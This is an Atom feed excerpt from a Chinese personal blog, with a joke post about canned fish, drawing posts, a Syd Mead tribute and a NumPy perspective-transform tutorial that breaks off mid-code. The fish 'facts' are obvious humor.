	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;秋刀鱼-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;秋刀鱼-optim.jpg&quot;
	alt=&quot;秋刀鱼罐头&quot;
	height=&quot;1024&quot;
	width=&quot;768&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;接下来我教大家分辨凤尾鱼和鲮鱼，这两种鱼一个红色一个银色，因为颜色过于相近所以很难区分。我教大家一个秘诀，我在哈佛大学演讲时向那里的同学分享过这个秘诀，黄色的黑色的白色的不管什么人都对我报以雷鸣般的掌声，这个秘诀就是：这两种鱼一个红色一个银色。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;凤尾鱼&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;鲮鱼&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;凤尾鱼-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;凤尾鱼-optim.jpg&quot;
	alt=&quot;凤尾鱼罐头&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;鲮鱼-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;鲮鱼-optim.jpg&quot;
	alt=&quot;鲮鱼罐头&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;最后我来告诉大家怎么一眼认出沙丁鱼和金枪鱼。沙丁鱼顾名思义，是和西红柿一起钓上来的鱼，它们因为和西红柿共生而得名沙丁鱼。怎么样这个方法是不是很简单，很直观？金枪鱼也鱼如其名，是由碎肉组成的微生物，大家可以从右下我在马里亚纳海沟拍摄的图片中找到金枪鱼的身影。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;沙丁鱼&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;金枪鱼&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;沙丁鱼-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;沙丁鱼-optim.jpg&quot;
	alt=&quot;沙丁鱼罐头&quot;
	height=&quot;1024&quot;
	width=&quot;768&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;金枪鱼-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;金枪鱼-optim.jpg&quot;
	alt=&quot;金枪鱼罐头&quot;
	height=&quot;1024&quot;
	width=&quot;768&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;怎么样这些方法是不是很简单，很直观？喜欢的朋友们请点赞，不喜欢的朋友们请考虑捐助，这样我才有动力写出更好的文章。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;canned-fish
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;canned-fish&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


三人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;aapa&quot;&gt;










画完你的画你的画完你的画你的画完你的画你的&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>短耳鸮</title>
    <published>2020-02-12T22:09:28+08:00</published>
    <updated>2020-02-12T22:09:28+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/asio-flammeus/" type="text/html" />
    <id>https://emptystack.top/asio-flammeus/</id>
    <content type="html">
      




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Asio flammeus-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Asio flammeus-fs8.png&quot;
	alt=&quot;Short-eared Owl&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;瞎&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;jb&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;画真有趣。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;asio-flammeus
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;asio-flammeus&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>出窍！</title>
    <published>2020-01-23T21:10:05+08:00</published>
    <updated>2020-01-23T21:10:05+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/zig-skull/" type="text/html" />
    <id>https://emptystack.top/zig-skull/</id>
    <content type="html">
      




&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Zig Skull-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Zig Skull-fs8.png&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;画的是复习时的绝望感，俺感觉俺也可以算是现代艺术家了。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;zig-skull
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;zig-skull&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>席德・米德的赞歌</title>
    <published>2019-12-31T15:59:56+08:00</published>
    <updated>2019-12-31T15:59:56+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/A-Canticle-For-Syd-Mead/" type="text/html" />
    <id>https://emptystack.top/A-Canticle-For-Syd-Mead/</id>
    <content type="html">
      







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Tribute to Syd.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Tribute to Syd.ee4fa645784b7c5c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Tribute to Syd.4fb43a03a2650a79.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Tribute to Syd.b51e5a5d9f9be68e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Tribute to Syd.4fb43a03a2650a79.webp&quot;
	alt=&quot;Tribute to Syd&quot;
	
	
	height=&quot;2048&quot;
	width=&quot;1536&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;小时候第一眼看到倒&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;高达就迷得不行，还去他的网站想找找有没有倒&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的设计图啥的，然后发现了好多没见过风格的画，最后右键下载了一张特厉害的红色高架桥。&lt;&#x2F;p&gt;
&lt;p&gt;可惜。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;2020-9-8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更新：&lt;&#x2F;p&gt;
&lt;p&gt;网上冲浪时偶然找到了那张“&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20200607064129&#x2F;http:&#x2F;&#x2F;sydmead.com&#x2F;city-on-a-megabeam&#x2F;&quot;&gt;特厉害的红色高架桥&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，但怎么看都不是红色的，看来记忆出现了偏差。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;A-Canticle-For-Syd-Mead
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;A-Canticle-For-Syd-Mead&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Numpy实现透视变换</title>
    <published>2019-12-30T19:22:27+08:00</published>
    <updated>2019-12-30T19:22:27+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/perspective_transform/" type="text/html" />
    <id>https://emptystack.top/perspective_transform/</id>
    <content type="html">
      &lt;blockquote&gt;
&lt;p&gt;其实就是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;numpy.linalg.solve&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解方程啦&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;透视变换就是三维空间上的一个点乘上变换矩阵转移到别的坐标（因为图片本身是二维的，所以新旧坐标的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;值都为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，即：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;true&quot;&gt; \begin{bmatrix} XW \\
YW \\ W \end{bmatrix} = \begin{bmatrix} a &amp;amp; b &amp;amp; c \\ d &amp;amp; e &amp;amp; f \\
g &amp;amp; h &amp;amp; 1 \end{bmatrix} \begin{bmatrix} x \\ y \\ 1 \end{bmatrix}
&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;解得新坐标：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;true&quot;&gt;X = \frac {ax+by+c} W =
\frac {ax+by+c} {gx+hy+1}&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;true&quot;&gt;Y = \frac {dx+ey+f} W =
\frac {dx+ey+f} {gx+hy+1}&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a-h&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是未知的，所以得先通过几对给定的新旧点来解出它们，才能得到新旧图片上所有点的映射。&lt;&#x2F;p&gt;
&lt;p&gt;解&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a-h&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的步骤如下：首先把分母与左边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X&#x2F;Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相乘，再整理等式把单独的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X&#x2F;Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拿到等号右边可以得到两个方程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;true&quot;&gt;ax+by+\phantom 1
c-0d+0e+0f-Xxg-Xyh=X&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;true&quot;&gt;0a+0b+0c+xd+ye+\phantom
1 f-Yxg-Yyh=Y&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;转换成矩阵形式：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;true&quot;&gt; \begin{bmatrix} x &amp;amp; y &amp;amp;
1 &amp;amp; 0 &amp;amp; 0 &amp;amp; -1 &amp;amp; -Xx &amp;amp; -Xy \\ 0 &amp;amp; 0 &amp;amp; 0 &amp;amp; x &amp;amp; y &amp;amp; 1 &amp;amp; -Yx &amp;amp; -Yy \\ &amp;amp;
&amp;amp; &amp;amp; &amp;amp; &amp;amp; \vdots \end{bmatrix} \begin{bmatrix} a \\ b \\ c \\ d \\
e \\ f \\ g \\ h \end{bmatrix} = \begin{bmatrix} X \\ Y \\
\vdots \end{bmatrix} &lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个未知数需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个方程来解，每对新旧点提供两个方程，所以需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;对点来填满矩阵，求解&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a-h&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相当于解形如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ax=b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的方程。&lt;code&gt;numpy.linalg.solve&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是用来解&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ax=b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的函数，用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;当参数调用就可以得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x（a-h&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，这样我们就得到了变换矩阵。&lt;&#x2F;p&gt;
&lt;p&gt;构造&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A、b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;与解变换矩阵的代码如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;A_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;b_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; XY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; zip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;old_points&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; new_points&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    A_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;([&lt;&#x2F;span&gt;&lt;span&gt;xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span&gt; xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;XY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;XY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    A_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span&gt; xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;XY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;XY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; 